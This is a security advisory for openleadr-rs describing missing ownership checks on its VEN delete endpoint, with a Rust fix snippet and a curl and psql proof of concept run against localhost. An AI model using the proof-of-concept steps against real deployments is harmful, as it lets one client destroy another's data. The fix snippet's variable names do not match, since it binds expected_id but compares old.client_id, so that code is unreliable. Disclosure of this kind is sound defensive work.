GHSA-2g9c-9w5g-4wrr: 
Rust vulnerability analysis and mitigation

Summary

The DELETE /vens/{id} endpoint does not check that the VEN actually belongs to the caller. As a result, an authorized client holding the write_vens_ven scope (or the write_vens alias) can delete a VEN owned by a different client if it knows the VEN's id.

Impact

Exploitation needs the target VEN's id, which is a random UUID. Ids are not enumerable via the API, but they are not treated as secrets elsewhere in the protocol and can leak, for example through MQTT topic names or shared logs. A VEN that has resources below it can not be deleted, so the impact is limited to only those VENs that have no resources below them.

Mitigation

Upgrade to the latest version of openleadr-rs v0.2.8.

Resolution

In PgVenStorage::delete, look up the VEN's client_id first and return 404 NotFound if it doesn't match the caller's, as update already did correctly:

let expected_id = sqlx::query!(
    r#"
    SELECT client_id FROM ven WHERE id = $1
    "#,
    id.as_str()
)
.fetch_one(&mut *tx)
.await?;
if let Some(client_id) = client_id
    && old.client_id != client_id.as_str()
{
    return Err(Self::Error::NotFound);
}

Proof of concept

Start docker compose with only the VTN and Postgres database. Load two example users user1 and user2 with psql. Next, create a VEN as user1. Knowing the UUID of this VEN, allows user2 to delete user1's VEN.

1. docker compose -f docker-compose.no-mqtt.yml up -d

2. cat | psql -U openadr -h localhost openadr <<'EOF'
   INSERT INTO "user" (id, reference, description, scopes, created, modified)
   VALUES
   ('user1', 'user1-ref', null, '{ "write_vens_ven", "read_ven_objects" }', '1970-01-01 00:00:00.000000 +00:00', '1970-01-01 00:00:00.000000 +00:00'),
   ('user2', 'user2-ref', null, '{ "write_vens_ven", "read_ven_objects" }', '1970-01-01 00:00:00.000000 +00:00', '1970-01-01 00:00:00.000000 +00:00');
   INSERT INTO user_credentials (user_id, client_id, client_secret)
   VALUES
   ('user1', 'client1-id', '$argon2id$v=19$m=16,t=2,p=1$YWlOSE8xRGFVdVVIa212Ug$tjmQC+zNC3QXc9K8mEXRrA'), -- secret: ven-client
   ('user2', 'client2-id', '$argon2id$v=19$m=16,t=2,p=1$YWlOSE8xRGFVdVVIa212Ug$tjmQC+zNC3QXc9K8mEXRrA'); -- secret: ven-client
   EOF

3. curl -X POST -d 'client_id=client1-id' -d 'client_secret=ven-client' -d 'grant_type=client_credentials' http://localhost:3000/auth/token
4. Note the access_token in the output. Use this in the following request to create a ven owned by client1.
5. curl -X POST -H "Authorization: Bearer <ven1 access_token>" --json '{ "venName":"client1s-ven", "objectType": "VEN_VEN_REQUEST", "targets": [] }' http://localhost:3000/vens
6. Note the id in the output. This is the VEN id owned by client 1.
7. curl -X POST -d 'client_id=client2-id' -d 'client_secret=ven-client' -d 'grant_type=client_credentials' http://localhost:3000/auth/token
8. Note the access_token in the output. Use this and id in the following request to delete client1's ven, even though we authenticate as client2.
9. curl -X DELETE -H "Authorization: Bearer <ven2 access_token>" http://localhost:3000/vens/<id>
10. This request succeeds and returns the now deleted VEN